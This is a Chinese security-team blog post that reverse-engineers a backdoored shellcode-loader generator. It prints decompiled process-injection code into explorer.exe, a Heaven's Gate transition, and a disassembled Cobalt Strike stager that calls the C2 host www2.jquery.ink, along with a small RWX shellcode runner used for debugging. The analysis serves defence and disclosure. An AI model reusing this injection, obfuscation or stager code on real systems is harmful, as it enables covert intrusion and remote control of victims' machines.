某ShellcodeLoader生成器隐藏后门分析

百家 作者:Chamd5安全团队 2022-11-06 18:21:46

前言

知名民间网络安全论坛T00s上发了这样一则帖子:于是找到m姐要来样本分析一波。

已有行为分析

根据论坛中的分析,程序有以下行为。

利用作者给的示例命令生成木马时:

  1. 发现有新会话注入到主进程explorer.exe,外联地址为121.5.147.81:2087。
  2. explorer.exe的内存字符串包含www2.jquery.ink和CVE-2020-0729字样。
  3. 外联的流量与cs的https流量匹配。

主函数分析

开头输出帮助提示后,直接调整了一下特权(sub_401620),发现多少有点问题。

//?主函数中调用:adjustPrivilege(L"SeDebugPrivilege");

??CurrentThread?=?GetCurrentThread();
??if?(?OpenThreadToken(CurrentThread,?0x28u,?0,?&TokenHandle)?)
????goto?LABEL_13;
??if?(?GetLastError()?!=?1008?)
????return?0;
??CurrentProcess?=?GetCurrentProcess();
??if?(?!OpenProcessToken(CurrentProcess,?0x28u,?&TokenHandle)?)
????return?0;
LABEL_13:
??if?(?LookupPrivilegeValueW(0,?lpName,?&Luid)?)
??{
????NewState.PrivilegeCount?=?1;
????NewState.Privileges[0].Attributes?=?2;
????NewState.Privileges[0].Luid?=?Luid;
????if?(?AdjustTokenPrivileges(TokenHandle,?0,?&NewState,?0x10u,?&PreviousState,?&ReturnLength)?)
????//...

然后执行了免杀shellcode生成功能, 首先是读取并加密shellcode。

codeSize?=?readFile(argv[1]);
??v5?=?0;
??codeSize_1?=?codeSize;
??for?(?i?=?sc;?v5?<?codeSize;?++v5?)
????sc[v5]?=?(v5?^?sc[v5])?+?1;?????????????????//?加密Shellcode

读取ShellcodeLoader.exe。

LoaderSize?=?readFile("ShellcodeLoader.exe");
??shellcodeLoader_1?=?(char?*)shellcodeLoader;
??nNumberOfBytesToWrite?=?LoaderSize;
??v29?=?(char?*)shellcodeLoader;
??for?(?j?=?0;?;?++j?)
??{
????v11?=?(unsigned?int)&shellcodeLoader_1[j];
????if?(?shellcodeLoader_1[j]?==?'A'?)
??????break;
LABEL_10:
????;
??}

然后找到placeholder并将shellcode写入(长度4字节+shellcode内容)。

v12?=?0;
??while?(?1?)
??{
????++v12;
????++j;
????if?(?v12?>?80?)?????????????????????????????//?找到连续至少80个A的位置
??????break;
????if?(?shellcodeLoader_1[j]?!=?'A'?)
??????goto?LABEL_10;
??}
??if?(?v11?<=?(unsigned?int)&codeSize_1?||?v11?>=?(unsigned?int)&v28?)//?写入CodeSize
??{
????*(_DWORD?*)v11?=?codeSize;
??}
??else
??{
????*(_WORD?*)(v11?+?2)?=?HIWORD(codeSize_1);
????*(_BYTE?*)(v11?+?1)?=?BYTE1(codeSize_1);
????*(_BYTE?*)v11?=?codeSize;
??}
??v13?=?v11?+?4;
??if?(?v11?+?4?<=?(unsigned?int)i?||?v13?>=?(unsigned?int)&i[codeSize]?)
??{
????if?(?codeSize?)
????{
??????v17?=?&i[-v13];
??????do
??????{
????????v18?=?v17[v13++];???????????????????????//?复制CodeSize
????????*(_BYTE?*)(v13?-?1)?=?v18;
????????--codeSize;
??????}
??????while?(?codeSize?);
????}
??}//...

最后写入文件并输出提示。

FileA?=?CreateFileA(argv[2],?0x40000000u,?0,?0,?2u,?0x80u,?0);
??if?(?FileA?==?(HANDLE)-1?)//...
????do
????{
??????WriteFile(v22,?sc_loader,?v20,?&NumberOfBytesWritten,?0);
??????sc_loader?+=?NumberOfBytesWritten;
??????v20?-=?NumberOfBytesWritten;
????}
????while?(?v20?);
????CloseHandle(v22);
????shellcodeLoader_1?=?v29;
??}
??ProcessHeap?=?GetProcessHeap();
??HeapFree(ProcessHeap,?0,?shellcodeLoader_1);
??printf((int)"\r\n[+]?output?file------->%s\r\n",?argv[2]);

看起来并没有恶意行为。

恶意函数分析

既然已有行为分析中发现有注入行为了,就找找进程API。

Process32NextW交叉引用。

BOOL?__cdecl?sub_401560(LPCWSTR?lpString2,?DWORD?*a2)
{//...
??pe.dwSize?=?556;
??hSnapshot?=?CreateToolhelp32Snapshot(2u,?0);
??if?(?hSnapshot?==?(HANDLE)-1?)
????return?0;
??Process32FirstW(hSnapshot,?&pe);
??while?(?lstrcmpiW(pe.szExeFile,?lpString2)?)
??{
????if?(?!Process32NextW(hSnapshot,?&pe)?)
??????goto?LABEL_7;
??}
??*a2?=?pe.th32ProcessID;
LABEL_7:
??CloseHandle(hSnapshot);
??hSnapshot?=?0;
??return?*a2?!=?0;
}

经典遍历进程,继续交叉引用得到:

int?sub_401710()
{//...
??dwProcessId?=?0;
??memset(String2,?0,?sizeof(String2));
??v3?=?0;
??v1[0]?=?2;
??v1[1]?=?17;
??v1[2]?=?0;
??v1[3]?=?3;
??v1[4]?=?6;
??v1[5]?=?14;
??v1[6]?=?2;
??v1[7]?=?14;
??v1[8]?=?15;
??v1[9]?=?2;
??v1[10]?=?17;
??v1[11]?=?2;
??for?(?i?=?0;?i?!=?12;?++i?)
????String2[i]?=?aS[v1[i]];
??String2[2]?=?'p';
??result?=?sub_401560(String2,?&dwProcessId);
??if?(?dwProcessId?)
????return?sub_401290(dwProcessId);
??return?result;

字符串稍微解密一下,得到explorer.exe,既然找到了explorer.exe的PID,下一步应该是注入。

int?__cdecl?sub_401290(DWORD?dwProcessId)
{
??//...
??for?(?i?=?0;?i?!=?6;?++i?)
????ModuleName[i]?=?aAbcdefghijklmn[v3[i]];
??v18?=?3276851;
??hModule?=?GetModuleHandleW(ModuleName);
??hObject?=?0;
??hObject?=?OpenProcess(0x1FFFFFu,?0,?dwProcessId);
??//...
??v14?=?0;
??for?(?j?=?0;?j?!=?14;?++j?)
????ProcName[j]?=?aAbcdefghijklmn[dword_41A9E4[j]];
??VirtualAllocEx?=?GetProcAddress(hModule,?ProcName);
??//?...
??for?(?k?=?0;?k?!=?18;?++k?)
????v4[k]?=?aAbcdefghijklmn[dword_41ADD8[k]];
??WriteProcessMemory?=?GetProcAddress(hModule,?v4);
??if?(?sub_401100()?!=?64?)
????return?1;
??hHeap?=?HeapCreate(0,?0,?0);
??dwBytes?=?929;
??v27?=?(char?*)HeapAlloc(hHeap,?8u,?0x3A1u);
??memmove(v27,?&unk_41AA20,?dwBytes);
??for?(?m?=?0;?m?<?dwBytes;?++m?)
????v27[m]?=?m?^?(v27[m]?-?1);?//?解密shellcode
??v26?=?((int?(__stdcall?*)(HANDLE,?_DWORD,?SIZE_T,?int,?int))VirtualAllocEx)(hObject,?0,?dwBytes,?12288,?64);
??if?(?v26?)
??{
????((void?(__stdcall?*)(HANDLE,?int,?char?*,?SIZE_T,?char?*))WriteProcessMemory)(hObject,?v26,?v27,?dwBytes,?v2);
????v23?=?0;
????v24?=?0;
????v24?=?(void?(__cdecl?*)(HANDLE,?_DWORD,?_DWORD,?int,?int,?_DWORD,?_DWORD,?HANDLE?*))sub_401230(&unk_41A8B0,?0x131u);
????v24(hObject,?0,?0,?v26,?v26,?0,?0,?&v23);
????CloseHandle(hObject);
????CloseHandle(v23);
????return?1;
??}
??else
??{
????CloseHandle(hObject);
????return?0;
??}
}

最后调用了sub_401230,用于分配空间并放入unk_41A8B0

sub_41A8B0分析

开头调用了sub_41A93

sub_41A933?proc?far?????????????????????;?CODE?XREF:?sub_41A8B0+6↑p
.data:0041A933?E8?F5?FF?FF?FF????????????????call????sub_41A92D?//?ret?1
.data:0041A933
.data:0041A938?74?07?????????????????????????jz??????short?locret_41A941
.data:0041A938
.data:0041A93A?58????????????????????????????pop?????eax
.data:0041A93B?6A?33?????????????????????????push????33h?;?'3'
.data:0041A93D?53????????????????????????????push????ebx
.data:0041A93E?5B????????????????????????????pop?????ebx
.data:0041A93F?50????????????????????????????push????eax
.data:0041A940?CB????????????????????????????retf

使用了天堂之门技术,所以后面的shellcode为64位反汇编。

import?capstone?as?cs
sc=b'S[\x85\xc0tgH\x89\xe6H\x83\xe4\xf0H\x83\xech\xb8\xfa\x809^S[\xe8\x86\x00\x00\x00H\x89\xc3M1\xc0H1\xc0H\x89D$PS[H\x89D$HH\x89D$@H\x89D$8S[H\x89D$0\x8bF$H\x89D$(\x8bF?H\x89D$?S[D\x8bN\x14\xba\x00\x00\x00\x10\x8bN0S[\xff\xd3H\x89\xf4\xe8\x1c\x00\x00\x00]_^['
c=cs.Cs(cs.CS_ARCH_X86,cs.CS_MODE_64)
for?i?in?c.disasm(sc,0x41a8bb):
????print('%x:?%s?%s'%(i.address,i.mnemonic,i.op_str))

得到结果如下:

0x41a8bb:?push?rbx
0x41a8bc:?pop?rbx
0x41a8bd:?test?eax,?eax
0x41a8bf:?je?0x41a928
0x41a8c1:?mov?rsi,?rsp
0x41a8c4:?and?rsp,?0xfffffffffffffff0
0x41a8c8:?sub?rsp,?0x68
0x41a8cc:?mov?eax,?0x5e3980fa
0x41a8d1:?push?rbx
0x41a8d2:?pop?rbx
0x41a8d3:?call?0x41a95e
0x41a8d8:?mov?rbx,?rax
0x41a8db:?xor?r8,?r8
0x41a8de:?xor?rax,?rax
0x41a8e1:?mov?qword?ptr?[rsp?+?0x50],?rax
0x41a8e6:?push?rbx
0x41a8e7:?pop?rbx
0x41a8e8:?mov?qword?ptr?[rsp?+?0x48],?rax
0x41a8ed:?mov?qword?ptr?[rsp?+?0x40],?rax
0x41a8f2:?mov?qword?ptr?[rsp?+?0x38],?rax
0x41a8f7:?push?rbx
0x41a8f8:?pop?rbx
0x41a8f9:?mov?qword?ptr?[rsp?+?0x30],?rax
0x41a8fe:?mov?eax,?dword?ptr?[rsi?+?0x24]
0x41a901:?mov?qword?ptr?[rsp?+?0x28],?rax
0x41a906:?mov?eax,?dword?ptr?[rsi?+?0x20]
0x41a909:?mov?qword?ptr?[rsp?+?0x20],?rax
0x41a90e:?push?rbx
0x41a90f:?pop?rbx
0x41a910:?mov?r9d,?dword?ptr?[rsi?+?0x14]
0x41a914:?mov?edx,?0x10000000
0x41a919:?mov?ecx,?dword?ptr?[rsi?+?0x30]
0x41a91c:?push?rbx
0x41a91d:?pop?rbx
0x41a91e:?call?rbx
0x41a920:?mov?rsp,?rsi
0x41a923:?call?0x41a944
0x41a928:?pop?rbp
0x41a929:?pop?rdi
0x41a92a:?pop?rsi
0x41a92b:?pop?rbx

调用了0x41A95e和0x41a944,其中sub_41a944从天堂之门返回。

0x41a95e:?call?0x41a947
0x41a963:?push?rbx
0x41a964:?pop?rbx
0x41a965:?jne?0x41a977
0x41a967:?pop?rax
0x41a968:?sub?esp,?8
0x41a96b:?mov?dword?ptr?[rsp],?eax
0x41a96e:?mov?dword?ptr?[rsp?+?4],?0x23

sub_41A95e的返回值被存入rbx进行调用。

Flink?=?NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
??while?(?1?)
??{
????v4?=?Flink[1].Flink;
????result?=?(unsigned?int)v4;
????if?(?!v4?)
??????break;
????Flink?=?Flink->Flink;
????v6?=?(unsigned?int)a1;
????a1?=?*(unsigned?int?*)((char?*)&v4[1].Blink
?????????????????????????+?*(unsigned?int?*)((char?*)&v4[7].Blink?+?(unsigned?int)(HIDWORD(v4[3].Blink)?+?16)));
????if?(?*(_DWORD?*)((char?*)&v4[1].Blink
???????????????????+?*(unsigned?int?*)((char?*)&v4[7].Blink?+?(unsigned?int)(HIDWORD(v4[3].Blink)?+?16)))?)
????{
??????LODWORD(v6)?=?*(_DWORD?*)((char?*)&v4[1].Blink
??????????????????????????????+?*(unsigned?int?*)((char?*)&v4[7].Blink?+?(unsigned?int)(HIDWORD(v4[3].Blink)?+?16))
??????????????????????????????+?4);
??????v7?=?(char?*)v4?+?v6;
??????LODWORD(v6)?=?*(_DWORD?*)((char?*)&v4[2].Flink
??????????????????????????????+?*(unsigned?int?*)((char?*)&v4[7].Blink?+?(unsigned?int)(HIDWORD(v4[3].Blink)?+?16)));
??????v8?=?(char?*)v4?+?v6;
??????LODWORD(v6)?=?*(_DWORD?*)((char?*)&v4[2].Flink
??????????????????????????????+?*(unsigned?int?*)((char?*)&v4[7].Blink?+?(unsigned?int)(HIDWORD(v4[3].Blink)?+?16))
??????????????????????????????+?4);
??????v9?=?(char?*)v4?+?v6;
??????do
??????{
????????v10?=?(char?*)v4?+?*(unsigned?int?*)&v8[4?*?a1?-?4];
????????v11?=?0;
????????v12?=?0;
????????do
????????{
??????????LOBYTE(v11)?=?*v10++;
??????????v12?=?__ROL4__(v11?+?v12,?5);
??????????--v11;
????????}
????????while?(?v11?>=?0?);
????????--a1;
??????}
??????while?(?v12?!=?v2?&&?a1?);
??????return?(unsigned?__int64)v4?+?*(unsigned?int?*)&v7[4?*?*(unsigned?__int16?*)&v9[2?*?a1]];
????}
??}
??return?result;

经典寻找模块名,函数名哈希存储在eax:0x5e3980fa中,直接根据模块的加密算法暴力枚举好了。

import?pefile
rol4=lambda?x,i:((x<<i)|(x>>(32-i)))&0xffffffff
def?encrypt_str(s):
????n=0
????for?i?in?s:
????????n=rol4(n+i,5)
????return?n
pe=pefile.PE('ntdll.dll')
for?exp?in?pe.DIRECTORY_ENTRY_EXPORT.symbols:
????if?exp.name?is?None:continue
????enc=encrypt_str(exp.name+b'\x00')
????if?enc==0x5e3980fa:
????????print(exp.name)

找到是ntdll.dll中的NtCreateThreadEx,回到0x41a8bb,根据NtCreateThreadEx的函数签名(Nt系列实际调用Zw系列)。

typedef?DWORD(WINAPI*?PfnZwCreateThreadEx)(
????PHANDLE?ThreadHandle,
????ACCESS_MASK?DesiredAccess,
????LPVOID?ObjectAttributes,
????HANDLE?ProcessHandle,
????LPTHREAD_START_ROUTINE?lpStartAddress,
????LPVOID?lpParameter,
????ULONG?CreateThreadFlags,
????SIZE_T?ZeroBits,
????SIZE_T?StackSize,
????SIZE_T?MaximunStackSize,
????LPVOID?pUnkown);

这里设置了执行参数,最重要的就是unk_41AA20中的Shellcode。

unk_41AA20中的shellcode分析

使用如下脚本解密shellcode:

import?ida_bytes?as?ib
base=0x41aa20
for?i?in?range(929):
????c=ib.get_byte(base+i)
????c=(c-1)^i
????ib.patch_byte(base+i,c)

得到:

0x0:?cld?
0x1:?and?rsp,?0xfffffffffffffff0
0x5:?call?0xd2

0xa:?push?r9
0xc:?push?r8
0xe:?push?rdx
0xf:?push?rcx
0x10:?push?rsi
0x11:?xor?rdx,?rdx
0x14:?mov?rdx,?qword?ptr?gs:[rdx?+?0x60]
0x19:?mov?rdx,?qword?ptr?[rdx?+?0x18]
0x1d:?mov?rdx,?qword?ptr?[rdx?+?0x20]

0x21:?mov?rsi,?qword?ptr?[rdx?+?0x50]
0x25:?movzx?rcx,?word?ptr?[rdx?+?0x4a]
0x2a:?xor?r9,?r9
0x2d:?xor?rax,?rax
0x30:?lodsb?al,?byte?ptr?[rsi]
0x31:?cmp?al,?0x61
0x33:?jl?0x37
0x35:?sub?al,?0x20
0x37:?ror?r9d,?0xd
0x3b:?add?r9d,?eax
0x3e:?loop?0x2d
0x40:?push?rdx
0x41:?push?r9
0x43:?mov?rdx,?qword?ptr?[rdx?+?0x20]
0x47:?mov?eax,?dword?ptr?[rdx?+?0x3c]
0x4a:?add?rax,?rdx
0x4d:?cmp?word?ptr?[rax?+?0x18],?0x20b
0x53:?jne?0xc7
0x55:?mov?eax,?dword?ptr?[rax?+?0x88]
0x5b:?test?rax,?rax
0x5e:?je?0xc7
0x60:?add?rax,?rdx
0x63:?push?rax
0x64:?mov?ecx,?dword?ptr?[rax?+?0x18]
0x67:?mov?r8d,?dword?ptr?[rax?+?0x20]
0x6b:?add?r8,?rdx
0x6e:?jrcxz?0xc6
0x70:?dec?rcx
0x73:?mov?esi,?dword?ptr?[r8?+?rcx*4]
0x77:?add?rsi,?rdx
0x7a:?xor?r9,?r9
0x7d:?xor?rax,?rax
0x80:?lodsb?al,?byte?ptr?[rsi]
0x81:?ror?r9d,?0xd
0x85:?add?r9d,?eax
0x88:?cmp?al,?ah
0x8a:?jne?0x7d
0x8c:?add?r9,?qword?ptr?[rsp?+?8]
0x91:?cmp?r9d,?r10d
0x94:?jne?0x6e
0x96:?pop?rax
0x97:?mov?r8d,?dword?ptr?[rax?+?0x24]
0x9b:?add?r8,?rdx
0x9e:?mov?cx,?word?ptr?[r8?+?rcx*2]
0xa3:?mov?r8d,?dword?ptr?[rax?+?0x1c]
0xa7:?add?r8,?rdx
0xaa:?mov?eax,?dword?ptr?[r8?+?rcx*4]
0xae:?add?rax,?rdx
0xb1:?pop?r8
0xb3:?pop?r8
0xb5:?pop?rsi
0xb6:?pop?rcx
0xb7:?pop?rdx
0xb8:?pop?r8
0xba:?pop?r9
0xbc:?pop?r10
0xbe:?sub?rsp,?0x20
0xc2:?push?r10
0xc4:?jmp?rax

0xc6:?pop?rax
0xc7:?pop?r9
0xc9:?pop?rdx
0xca:?mov?rdx,?qword?ptr?[rdx]
0xcd:?jmp?0x21

0xd2:?pop?rbp
0xd3:?push?0
0xd5:?movabs?r14,?0x74656e696e6977
0xdf:?push?r14
0xe1:?mov?r14,?rsp
0xe4:?mov?rcx,?r14
0xe7:?mov?r10d,?0x726774c
0xed:?call?rbp

0xef:?xor?rcx,?rcx
0xf2:?xor?rdx,?rdx
0xf5:?xor?r8,?r8
0xf8:?xor?r9,?r9
0xfb:?push?r8
0xfd:?push?r8
0xff:?mov?r10d,?0xa779563a
0x105:?call?rbp

0x107:?jmp?0x19f
0x10c:?pop?rdx
0x10d:?mov?rcx,?rax
0x110:?mov?r8d,?0x827
0x116:?xor?r9,?r9
0x119:?push?r9
0x11b:?push?r9
0x11d:?push?3
0x11f:?push?r9
0x121:?mov?r10d,?0xc69f8957
0x127:?call?rbp

0x129:?jmp?0x1a4
0x12b:?pop?rbx
0x12c:?mov?rcx,?rax
0x12f:?xor?rdx,?rdx
0x132:?mov?r8,?rbx
0x135:?xor?r9,?r9
0x138:?push?rdx
0x139:?push?-0x7b3fce00
0x13e:?push?rdx
0x13f:?push?rdx
0x140:?mov?r10d,?0x3b2e55eb
0x146:?call?rbp

0x148:?mov?rsi,?rax
0x14b:?add?rbx,?0x50
0x14f:?push?0xa
0x151:?pop?rdi
0x152:?mov?rcx,?rsi
0x155:?mov?edx,?0x1f
0x15a:?push?0
0x15c:?push?0x3380
0x161:?mov?r8,?rsp
0x164:?mov?r9d,?4
0x16a:?mov?r10d,?0x869e4675
0x170:?call?rbp

0x172:?mov?rcx,?rsi
0x175:?mov?rdx,?rbx
0x178:?mov?r8,?0xffffffffffffffff
0x17f:?xor?r9,?r9
0x182:?push?rdx
0x183:?push?rdx
0x184:?mov?r10d,?0x7b18062d
0x18a:?call?rbp

0x18c:?test?eax,?eax
0x18e:?jne?0x331
0x194:?dec?rdi
0x197:?je?0x329
0x19d:?jmp?0x152
0x19f:?jmp?0x388
0x1a4:?call?0x12b

但是手动复现计算失败了,直接使用shellcode加载器调试:

uint8_t?sc[]={/*...*/};
int?main()?{
?printf("Hello,World,?%d\n",?sc[0]?+?sc[1]);
?uint8_t*?c?=(uint8_t*)?VirtualAlloc(NULL,?0x4000,?MEM_COMMIT,?PAGE_EXECUTE_READWRITE);
?memcpy(c,?sc,?sizeof(sc));
?(*(void(*)())?c)();
}

特别说明

  • 0x726774c对应LoadLibraryA,加载的是winnet
  • 0xa779563a对应InternetOpenA
  • c69f857对应InternetConnectA,看到域名www2.jquery.ink
  • 0x3b2e55eb对应HttpOpenRequestA,看到路径/maps/overlayBfpr
  • 0x869e4675对应InternetSetOptinoA,看到UA:Host: www2.jquery.ink\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.5\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MAAU)\r\n
  • 0x7b18062d对应HttpSendRequestA

这一套下来后,如果HttpSendRequestA失败,则结束;如果成功,则继续后续操作。此时已经是CobaltStrike自动生成木马,分析流量无益,读者感兴趣可以自行分析。

调用路径分析

主函数中似乎并没有发现恶意行为,除了特权调整,那么恶意函数如何执行呢?

可以从sub_401710交叉引用:

int?__cdecl?sub_401800(int?a1)
{
??if?(?dword_41B870?==?6?)
????sub_401710();
??else
????++dword_41B870;
??return?a1;
}

判断了一个全局变量,如果是6则执行注入操作,否则继续+1,继续交叉引用,发现很多无用函数。

int?__cdecl?sub_401830(int?a1)
{
??sub_401800(a1);
??return?a1;
}

使用下面的脚本过掉这种:

start=0x401800
r=[i?for?i?in?CodeRefsTo(start,1)]
while?len(r)==1:
????print(hex(start))
????start=r[0]-7
????r=[i?for?i?in?CodeRefsTo(start,1)]

发现是自定义打印函数中的一个函数。

int?printf(int?a1,?...)
{
??va_list?va;?//?[esp+14h]?[ebp+Ch]?BYREF

??va_start(va,?a1);
??__acrt_iob_func(1u);
??sub_401010(va);
??return?sub_401930(dword_41B870);?//?恶意调用
}

然后查看主函数,发现提示正好6次,最后生成完整ShellcodeLoader之后的提示执行恶意行为。

总结

  • 安全工具最好放入虚拟机或隔绝的机器执行。
  • 开源软件有时还是自己编译更安全。

参考

  • https://blog.csdn.net/weixin_43090100/article/details/82939499

  • T00s帖子某shellcode加载器疑似存在后门【求分析】

end


招新小广告

ChaMd5?Venom?招收大佬入圈

新成立组IOT+工控+样本分析?长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

图库
公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接
百度热搜榜
排名 热点 搜索指数